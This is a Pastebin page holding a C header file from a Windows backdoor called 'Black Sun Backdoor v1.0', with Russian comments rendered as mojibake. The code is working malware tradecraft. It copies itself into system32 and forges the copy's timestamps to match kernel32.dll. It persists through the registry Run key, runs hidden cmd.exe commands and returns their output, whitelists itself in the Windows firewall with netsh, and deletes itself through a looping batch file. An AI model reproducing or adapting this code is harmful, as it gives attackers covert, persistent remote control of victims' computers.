Advertisement
FlyFar

src/functions.h

May 17th, 2024
546
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 9.38 KB | Cybersecurity | 0 0
  1. /*
  2.  *  ---------------------------------------------------------------------
  3.  *         ____  _            _     _____            
  4.  *        |  _ \| |          | |   / ____|            
  5.  *        | |_) | | __ _  ___| | _| (___  _   _ _ __  
  6.  *        |  _ <| |/ _` |/ __| |/ /\___ \| | | | '_ \
  7.  *        | |_) | | (_| | (__|   < ____) | |_| | | | |
  8.  *        |____/|_|\__,_|\___|_|\_\_____/ \__,_|_| |_|
  9.  *                 Black Sun Backdoor v1.0 prebeta        
  10.  *
  11.  *                          (x) Cytech 2007
  12.  *
  13.  *  ---------------------------------------------------------------------
  14.  *  [functions.h]
  15.  *      ôóíêöèè äëÿ ðàáîòû ñ ñèñòåìîé (óñòàíîâêà â ñèñòåìó, ñàìîóäàëåíèå
  16.  *      è ò.ä)
  17.  *  ---------------------------------------------------------------------
  18.  */
  19.  
  20. // ----------------------- [ ñîçäàíèå ïîòîêà ] ----------------------- //
  21.  
  22. static HANDLE WINAPI StartThread(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID param)
  23. {
  24.     DWORD lpThreadId;
  25.     return CreateThread(NULL, NULL, lpStartAddress, param, NULL, &lpThreadId);
  26. }
  27.  
  28. // --------------- [ Ïðîïèñûâàíèå ñåáÿ â ðååñòðå è ñàìîóäàëåíèå èç ðååñòðà ] ---------------- //
  29.  
  30. static DWORD WINAPI AddSelfToRun(char *mode)
  31. {
  32.     HKEY hkey, zhkey;
  33.     char str[256], sysbuf[256], myname[256], kernl[256];
  34.     HANDLE hTimeFile;
  35.     FILETIME aFileTime, bFileTime, cFileTime;
  36.     GetModuleFileName(GetModuleHandle(NULL), str, 256);
  37.  
  38.     GetSystemDirectory(sysbuf, 256);
  39.     lstrcpy(myname, sysbuf);
  40.     lstrcat(myname, "\\");
  41.     lstrcat(myname, EXENAME);
  42.  
  43.     if(lstrcmp(mode,"addtorun")==0) // ïðîïèñûâàåì ñåáÿ â àâòîçàãðóçêó
  44.     {
  45.         if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, REGKEY, 0, KEY_WRITE,&hkey)==ERROR_SUCCESS)
  46.             {
  47.              // ïîëó÷àåì äàòó ñîçäàíèÿ kernel32.dll
  48.                 lstrcpy(kernl, sysbuf); lstrcat(kernl, "//");  lstrcat(kernl, KERNEL32_DLL);
  49.                 hTimeFile = CreateFile(kernl, GENERIC_READ, FILE_SHARE_READ, 0,
  50.                                               OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  51.          
  52.                 if (hTimeFile != INVALID_HANDLE_VALUE)
  53.                 {
  54.                     GetFileTime(hTimeFile, &aFileTime, &bFileTime, &cFileTime);
  55.                     CloseHandle(hTimeFile);
  56.                 }
  57.  
  58.                 CopyFile(str, myname, FALSE);
  59.                
  60.                 hTimeFile = CreateFile(myname, GENERIC_WRITE, FILE_SHARE_WRITE, 0,
  61.                             OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  62.                            
  63.                 // óñòàíàâëèâàåì ñåáå äàòó ñîçäàíèÿ kernel32.dll, ÷òîáû ìåíüøå ñâåòèòüñÿ â òîì ñëó÷àå,
  64.                 // åñëè ñïëàéñèíã ðàáîòàòü íå áóäåò (íàïðèìåð, çàãðóçêà ÎÑ â Safe Mode).
  65.  
  66.                 if (hTimeFile != INVALID_HANDLE_VALUE)
  67.                 {
  68.                     SetFileTime(hTimeFile, &aFileTime, &bFileTime, &cFileTime);
  69.                     CloseHandle(hTimeFile);
  70.                 }
  71.  
  72.                 // ïèøåì ñåáÿ â ðååñòð
  73.                 if (RegSetValueEx(hkey, REGNAME, 0, REG_SZ, myname, lstrlen(myname)) == ERROR_SUCCESS);
  74.                 {
  75.                     RegCloseKey(hkey);
  76.                 }
  77.             }
  78.     }
  79.     else if(lstrcmp(mode, "killmyself")==0) // óäàëÿåìñÿ èç àâòîçàãðóçêè
  80.     {
  81.         if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, REGKEY, 0, KEY_WRITE,&zhkey)==ERROR_SUCCESS)
  82.             {
  83.                 RegDeleteValue(zhkey, REGNAME);
  84.                 RegCloseKey(zhkey);
  85.             }
  86.     }
  87.     return 0;
  88. }
  89.  
  90. // ----------------------- [ ñàìîóäàëåíèå ÷åðåç ñîçäàíèå .bat ] ----------------------- //
  91.  
  92. // Ôóíêöèÿ ñàìîóäàëåíèÿ ñ ïîìîùüþ .bat-ôàéëà :). Ëàìåðñòâî :)) Àëüòåðíàòèâíûì ñïîñîáîì
  93. // ìîæíî þçàòü èíæåêò â äðóãîé ïðîöåññ è îò òóäà ñîçäàòü ïîòîê íà ñàìîóäàëåíèå ïðîñòî ñ
  94. // ïîìîùüþ DeleteFile :) Ïîòîì ïåðåäåëàþ.
  95. // Ñóòü æå ýòîãî ìåòîäà çàêëþ÷àåòñÿ â òîì, ÷òî ñîçäàåòñÿ áàòíèê â ïàïêå system32 ñëåäóþùåãî âèäà:
  96. // ---- [ self.bat ] ----
  97. //  @ECHO off
  98. //  :try
  99. //      DEL C:\WINDOWS\system32\blacksun.exe
  100. //  GOTO try
  101. //      DEL C:\WINDOWS\system32\self.bat
  102. // ---- [ self.bat ] ----
  103. // Ïðè çàïóñêå îí ïûòàåòñÿ óäàëèòü ñåáÿ è ñàì áýêäîð äî òåõ ïîð, ïîêà íå ñäåëàåò ýòî.
  104. // Â ýòî âðåìÿ áýêäîð ïðîñòî çàâåðøàåò ñâîé ïðîöåññ, à áàòíèê óäàëÿåò è ñåáÿ è áýêäîð.
  105.  
  106. static DWORD WINAPI DeleteSelfWithBat()
  107. {
  108.     DWORD dwSz;
  109.     HANDLE hFile;
  110.     char szSelfBatDel[256], szSelfName[256];
  111.     char szTemp[256];
  112.     GetModuleFileName(GetModuleHandle(NULL), szSelfName, sizeof(szSelfName));
  113.  
  114.      GetSystemDirectory(szSelfBatDel, 256);
  115.      lstrcat(szSelfBatDel, "\\");
  116.      lstrcat(szSelfBatDel, SELFDEL_BAT);
  117.  
  118.     hFile = CreateFile(szSelfBatDel, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
  119.  
  120.     if (hFile != INVALID_HANDLE_VALUE)
  121.     {
  122.         ZeroMemory (&szTemp, sizeof(szTemp));
  123.        
  124.         lstrcpy(szTemp, "@ECHO off\r\n:try\r\nDEL ");
  125.         lstrcat(szTemp, &szSelfName);
  126.         lstrcat(szTemp,"\r\nIF EXIST ");
  127.         lstrcat(szTemp, &szSelfName);
  128.         lstrcat(szTemp, " GOTO try\r\n");
  129.         lstrcat(szTemp, "DEL ");
  130.         lstrcat(szTemp,  &szSelfBatDel);   
  131.  
  132.         dwSz = sizeof(szTemp);
  133.         WriteFile(hFile, szTemp, dwSz, &dwSz, NULL);
  134.         CloseHandle(hFile);
  135.         WinExec(szSelfBatDel, SW_HIDE);
  136.         Sleep(100);
  137.         ExitProcess(0);
  138.     }
  139.  
  140.     return 0;
  141. }
  142.  
  143. static DWORD WINAPI DeleteSelfFirstTime(LPVOID lpParam)
  144. {
  145.     DeleteSelfWithBat();
  146.     return 0;
  147. }
  148.  
  149. // ----------------------- [ âûïîëíåíèå êîìàíä ñ ïîìîùüþ cmd.exe ] ----------------------- //
  150.  
  151. static DWORD WINAPI ExecuteCMD(char * command)
  152. {
  153.         SECURITY_ATTRIBUTES sec;
  154.         PROCESS_INFORMATION pi;
  155.         STARTUPINFO si;
  156.         HANDLE hOutR, hOutW;
  157.         DWORD BTAvail;
  158.         char * Result = NULL;
  159.         char * cmdline = NULL;
  160.         char cmdpath[256];
  161.         OSVERSIONINFO OSVersionInfo;
  162.         DWORD Read = 0;
  163.  
  164.             fZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
  165.             fZeroMemory(&sec, sizeof(SECURITY_ATTRIBUTES));
  166.             sec.nLength = sizeof(SECURITY_ATTRIBUTES);
  167.             sec.bInheritHandle = TRUE;
  168.             sec.lpSecurityDescriptor = NULL;
  169.    
  170.     if (CreatePipe(&hOutR, &hOutW, &sec, 0))
  171.     {
  172.                 fZeroMemory(&si, sizeof(STARTUPINFO));
  173.                 si.cb = sizeof(STARTUPINFO);
  174.                 si.hStdOutput = hOutW;
  175.                 si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
  176.                 si.wShowWindow = SW_HIDE;
  177.  
  178.             cmdline = (char *) GlobalAlloc(GMEM_FIXED, (7 + lstrlen(command)));
  179.             lstrcat(lstrcpy(cmdline, " /a /c "), command);
  180.  
  181.             OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
  182.             GetVersionEx (&OSVersionInfo);
  183.  
  184.             if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)
  185.             {
  186.                 GetEnvironmentVariable(COMSPEC, cmdpath, 2048);
  187.             }
  188.  
  189.         if (CreateProcess(cmdpath, cmdline, &sec, &sec, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
  190.         {
  191.             WaitForSingleObject(pi.hProcess, INFINITE);
  192.             CloseHandle(pi.hThread);
  193.             CloseHandle(pi.hProcess);
  194.             PeekNamedPipe (hOutR, NULL, 0, NULL, &BTAvail, NULL);
  195.                 if (BTAvail > 0)
  196.                 {
  197.                     Result = (char *) GlobalAlloc(GMEM_FIXED, BTAvail + 1);
  198.                     ReadFile(hOutR, Result, BTAvail, &Read, NULL);
  199.                     Result[BTAvail] = '\0';
  200.                     OemToChar(Result, Result);
  201.                     if(lstrlen(Result) > 0){    return Result; }
  202.                     else { return MSG_CMDEXECUTED; }
  203.                 }
  204.  
  205.         }
  206. }
  207.     return 0;
  208. }
  209.  
  210. // ----------------------- [ ñïðÿòàòü/ïîêàçàòü îêíî ] ----------------------- //
  211.  
  212. static DWORD WINAPI SetWindowStatus(HWND hWnd, char *mode)
  213. {
  214.         if (lstrcmp(mode, "show")==0)
  215.         {
  216.             ShowWindow(hWnd, SW_SHOW);
  217.         }
  218.         else if (lstrcmp(mode, "hide")==0)
  219.         {
  220.             ShowWindow(hWnd, SW_HIDE);
  221.         }
  222.     return 0;
  223. }
  224.  
  225. // ------------------ [ äîáàâëíèå ñàìîãî ñåáÿ â netsh êàê äîâåðåííîå ïðèëîæåíèå ] ------------------ //
  226.  
  227. // Íåäàâíî âîò ïîïàëñÿ ìíå òðîé â ðóêè, ïðîäèçàñìèâ åãî, ÿ óâèäåë òàì ýòó ñòàðóþ,
  228. // íî ïîëåçíóþ ôè÷ó. Ðåøèë äîáàâèòü è ñþäà. Ñàìîäîáàâëåíèå â äîâåðåííûå ïðèëîæåíèÿ ôàéðâîëà
  229. // NetSH (ñòàíäàðòíàÿ âèíäîâñêèé ôàéð). Ïðîñòî âûïîëíÿåòñÿ êîìàíäà:
  230. // netsh firewall set allowedprogram C:\WINDOWS\system32\blacksun.exe enable
  231.  
  232. static DWORD WINAPI NetSHFirewallReg()
  233. {
  234.     char fireexec[256], my_path[256];
  235.     GetModuleFileName(0, my_path, 256);
  236.    
  237.         lstrcpy(fireexec, NETSH_ADD_1);
  238.         lstrcat(fireexec,  my_path);
  239.         lstrcat(fireexec, NETSH_ADD_2);
  240.        
  241.     WinExec(fireexec, SW_HIDE);
  242.     return 0;
  243. }
  244.  
  245. // ------------------ [ ïîëó÷åíèå êàêèõ-ëèáî ïðèâåëåãèé ] ------------------ //
  246.  
  247. // Ïîëó÷åíèå ïðèâåëåãèé ïðîöåññà, íàïðèìåð, ïðèâåëåãèé îòëàä÷èêà èëè shutdown-ïðèâåëåãèé
  248.  
  249. static BOOL SetPrivilege(char* SeNamePriv, BOOL EnableTF)
  250. {
  251.    HANDLE hToken;
  252.    LUID SeValue;
  253.    TOKEN_PRIVILEGES tp;
  254.  
  255.    if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken))
  256.    {
  257.     return FALSE;
  258.    }
  259.    
  260.    if (!LookupPrivilegeValue(NULL, SeNamePriv, &SeValue))
  261.    {
  262.       CloseHandle(hToken);
  263.       return FALSE;
  264.    }
  265.    
  266.    tp.PrivilegeCount = 1;
  267.    tp.Privileges[0].Luid = SeValue;
  268.    tp.Privileges[0].Attributes = EnableTF ? SE_PRIVILEGE_ENABLED : 0;
  269.    
  270.    AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
  271.  
  272.    CloseHandle(hToken);
  273.    return TRUE;
  274. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement